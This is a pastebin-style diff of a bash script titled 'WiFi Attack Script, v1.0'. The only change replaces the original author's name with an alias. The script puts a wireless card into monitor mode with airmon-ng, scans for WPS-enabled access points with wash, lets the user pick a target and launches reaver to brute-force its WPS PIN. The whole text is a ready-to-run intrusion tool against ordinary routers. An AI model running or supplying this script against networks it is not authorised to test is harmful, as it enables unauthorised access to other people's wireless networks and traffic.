SHOW:
|
|
- or go back to the newest paste.
1 | #! /bin/bash | |
2 | ||
3 | #WiFi Attack Script, v1.0 | |
4 | - | #Author: Vinay Gopinath |
4 | + | #Author: Ju4nD3L3M0s |
5 | #Date: 26 October, 2012 | |
6 | ||
7 | #CONFIG: Customize the script according to your needs | |
8 | #The default wireless interface (usually wlan0, wifi0 or ath0) | |
9 | wireless_interface=wlan0 | |
10 | ||
11 | #The timeout (in seconds) for wash to search for WPS-enabled access points | |
12 | wash_timeout=15 | |
13 | ||
14 | #Flag to allow user to choose target AP | |
15 | allow_user_choice=1 | |
16 | ||
17 | #Delay between attack attempts | |
18 | reaver_delay=0 | |
19 | ||
20 | #Check for root privileges | |
21 | if (( EUID != 0 )); then | |
22 | echo "This script needs root" | |
23 | exit 1 | |
24 | fi | |
25 | ||
26 | #Check for required commands | |
27 | for command in airmon-ng wash reaver | |
28 | do | |
29 | if [[ -z $(which $command) ]]; then | |
30 | echo "$command was not found" | |
31 | echo "To install $command, you may follow this link" | |
32 | echo "http://lmgtfy.com/?q=$command+installation" | |
33 | exit 1 | |
34 | fi | |
35 | done | |
36 | ||
37 | echo "WARNING: Network connections are about to go down. You may need to re-enable wireless connections manually" | |
38 | ||
39 | #Check available interfaces and close previous monitor interfaces and wireless lan | |
40 | for interface in $(ifconfig | tr -s [:space:] | cut -f1 -d" " | tr -s [:space:]) | |
41 | do | |
42 | if [[ -n $(echo $interface | grep "^mon*") ]] || [[ -n $(echo $interface | grep '0$') ]] && [[ $(echo $interface) != "eth0" ]]; then | |
43 | echo "* Shutting down $interface" | |
44 | airmon-ng stop $interface > /dev/null | |
45 | fi | |
46 | done | |
47 | ||
48 | echo "* Starting a new monitor interface mon0" | |
49 | airmon-ng start $wireless_interface > /dev/null | |
50 | ||
51 | echo "Identifying WPS-enabled access points" | |
52 | timeout $wash_timeout wash -i mon0 --ignore-fcs > washOutput.txt | |
53 | APs=$(cat washOutput.txt | tail -n +3 | tr -s ' ' | cut -f6 -d' ') | |
54 | ||
55 | if [[ -n $(echo $APs) ]]; then | |
56 | if (( $allow_user_choice )); then | |
57 | n=1 | |
58 | echo "The following access points were detected" | |
59 | for ap in $APs | |
60 | do | |
61 | echo "* $n: $ap" | |
62 | ((n++)) | |
63 | done | |
64 | read -p "Enter your choice: " choice | |
65 | if [[ $choice -le $n ]]; then | |
66 | chosen_ap=$(echo "${APs}" | head -$choice | tail -1) | |
67 | echo "You have chosen $chosen_ap" | |
68 | else | |
69 | echo "Invalid choice!" | |
70 | exit 1 | |
71 | fi | |
72 | else | |
73 | chosen_ap=$(echo "${APs}" | head -n1) | |
74 | echo "Proceeding with choice 1: $chosen_ap" | |
75 | fi | |
76 | tempLine=$(cat washOutput.txt | grep $chosen_ap | tr -s ' ') | |
77 | rm washOutput.txt | |
78 | channel=$(echo $tempLine | cut -f2 -d' ') | |
79 | mac_address=$(echo $tempLine | cut -f1 -d' ') | |
80 | echo "Starting reaver" | |
81 | echo "reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay" | |
82 | echo "AP name: $chosen_ap" | |
83 | echo "Channel: $channel" | |
84 | echo "MAC Address: $mac_address" | |
85 | reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay | |
86 | else | |
87 | echo "No networks found. Consider increasing the wash timeout. Terminating" | |
88 | exit 1 | |
89 | fi |